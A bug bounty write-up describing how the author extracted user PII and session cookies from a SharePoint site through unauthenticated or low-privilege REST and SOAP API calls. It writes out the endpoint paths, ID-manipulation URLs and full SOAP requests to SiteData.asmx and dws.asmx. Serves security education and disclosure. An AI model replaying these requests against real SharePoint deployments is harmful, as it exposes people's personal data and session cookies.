Hunting on Microsoft SharePoint: The art of manipulation.

3 weeks ago 19

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I’ll discuss with you how I found all users’ PII leaked via Microsoft SharePoint API.

Firstly, what Is Microsoft SharePoint?

Microsoft SharePoint Is a CMS (Content Management System) like Joomla and WordPress being used for easier website management.

While browsing the site and proxying the traffic through Burp I noticed an interesting endpoint “bim.redacted.com/_api/web/lists/GetByTitle(‘Images’)/items” Actually It was my first time dealing with Microsoft SharePoint, and I tried to replace (Images) with some other words like {passwords, keys, Emails, Users} when I entered “Users” … Bang

NOTE: While I’m writing this write-up the 6 reports have been resolved and they just switched to WordPress :D.

Report 1 (High Severity) -> Accepted -> Resolved

After this submission, I decided to dig deeper and I noticed some SharePoint filtering operators like {$select, $fiter, $expand} and p_ID so let’s play with $select & p_ID

URL: bim.redacted.com/_api/web/lists/GetByTitle(‘Users’)/items?%24skiptoken=Paged=TRUE&p_ID=<ID>&$select=*

By manipulating the p_ID I was able to see all the user’s PII (5320 users) + we can access some data about the system by manipulating these URLs

/_api/Web/Lists(guid'f936a00b-7bea-4ef8-9105-a624755e3fc7')/Items(ID)/FieldValuesForEdit
/_api/Web/Lists(guid'f936a00b-7bea-4ef8-9105-a624755e3fc7')/Items(ID)/FieldValuesAsText
/_api/Web/Lists(guid'f936a00b-7bea-4ef8-9105-a624755e3fc7')/Items(ID)/AttachmentFiles
/_api/Web/Lists(guid'f936a00b-7bea-4ef8-9105-a624755e3fc7')/Items(ID)/Folder
/_api/Web/Lists(guid'f936a00b-7bea-4ef8-9105-a624755e3fc7')/Items(ID)/RoleAssignments
/_api/Web/Lists(guid'f936a00b-7bea-4ef8-9105-a624755e3fc7')/Fields

The URL: /_api/Web/Lists(guid’f936a00b-7bea-4ef8–9105-a624755e3fc7')/ContentTypes exposed some Information about the users 9 columns that contain {Phone numbers, Countries, City State, etc…}

Report 2 (High Severity) -> Accepted -> Resolved

After 1 month I discovered another website that used Microsoft SharePoint In the scope and I tried the same techniques and submitted another report.

Report 3 (High Severity) -> Accepted -> Resolved

After that, I could dig deeper more and more.

I used tools like Sparty “https://github.com/adityaks/sparty” and “https://github.com/MayankPandey01/Sparty-2.0” to audit SharePoint architecture but a lot of the endpoints returned 403 status code “Forbidden” but the “bim.redacted.com/_vti_bin/spdisco.aspx” was exposed publicly without authentication (That’s itself considered an Information Disclosure Vulnerability with high severity but it depends on the triager’s mood but in my case the severity was high)

HTTP/2 200 OK
Cache-Control: private
Content-Type: text/xml; charset=utf-8
Server: Microsoft-IIS/10.0
X-Sharepointhealthscore: 0
X-Aspnet-Version: 4.0.30319
Sprequestguid: ccaf19a1-c012-006a-9f9e-4d16c9ce2b8f
Request-Id: ccaf19a1-c012-006a-9f9e-4d16c9ce2b8f
X-Frame-Options: SAMEORIGIN
Sprequestduration: 50
Spiislatency: 0
X-Powered-By: ASP.NET
Microsoftsharepointteamservices: 16.0.0.4822
X-Content-Type-Options: nosniff
X-Ms-Invokeapp: 1; RequireReadOnly
Date: Fri, 29 Mar 2024 06:05:10 GMT
Content-Length: 6412

When I tried to access those endpoints I got a 403 status code but I didn’t give up so I created a new account with 0 privileges I got 200 status code on a lot of endpoints but {Authentication, dspsts, forms, People, etc…} still were forbidden but {SiteData, sites, lists} were enough to access a lot of juicy Info.

URL: https://bim.redacted.com/_vti_bin/SiteData.asmx

It exposes good functionalities, but I focused on GetList, and GetListItems to extract Information about the lists.

<strQuery>, <strViewFields> and <uRowLimit>are optional but <strListName> Is mandatory .. the request:

POST /_vti_bin/SiteData.asmx HTTP/2
Host: bim.redacted.com
Content-Type: text/xml; charset=utf-8
Content-Length: 463
Cookie: Healthy
Soapaction: "http://schemas.microsoft.com/sharepoint/soap/GetListItems"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetListItems xmlns="http://schemas.microsoft.com/sharepoint/soap/">
<strListName>f936a00b-7bea-4ef8-9105-a624755e3fc7</strListName>
<uRowLimit>6000</uRowLimit>
</GetListItems>
</soap:Body>
</soap:Envelope>

Unfortunately, I got 403 but then I inserted a valid cookie without any privileges and I got 200 OK with 3066 users PII.

Report 4 (High Severity) -> Accepted -> Resolved

Then I entered “bim.redacted.com/_vti_bin/dws.asmx” and that was the most interesting part cause I found all the user’s cookies In a decrypted form (2 of them are triager’s cookies and a lot of other researchers ;D) .. request:

POST /_vti_bin/dws.asmx HTTP/2
Host: bim.redacted.com
Content-Type: text/xml; charset=utf-8
Content-Length: 384
Cookie: Healthy
Soapaction: "http://schemas.microsoft.com/sharepoint/soap/dws/GetDwsData"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetDwsData xmlns="http://schemas.microsoft.com/sharepoint/soap/dws/">
<document></document>
</GetDwsData>
</soap:Body>
</soap:Envelope>

I just sent the request with an empty <document></document> element that was the key.

The response shows other properties like IsSiteAdmin and IsDomainGroup etc…

Report 5 (High Severity cause It only affects the confidentiality) -> Accepted -> Resolved

In the last submission, I reported the exposed URL: “bim.redacted.com/_vti_bin/spdisco.aspx” as an Information Disclosure.

Report 6 (High Severity) -> Accepted -> Resolved

Hope you learn something and thanks for reading ❤.

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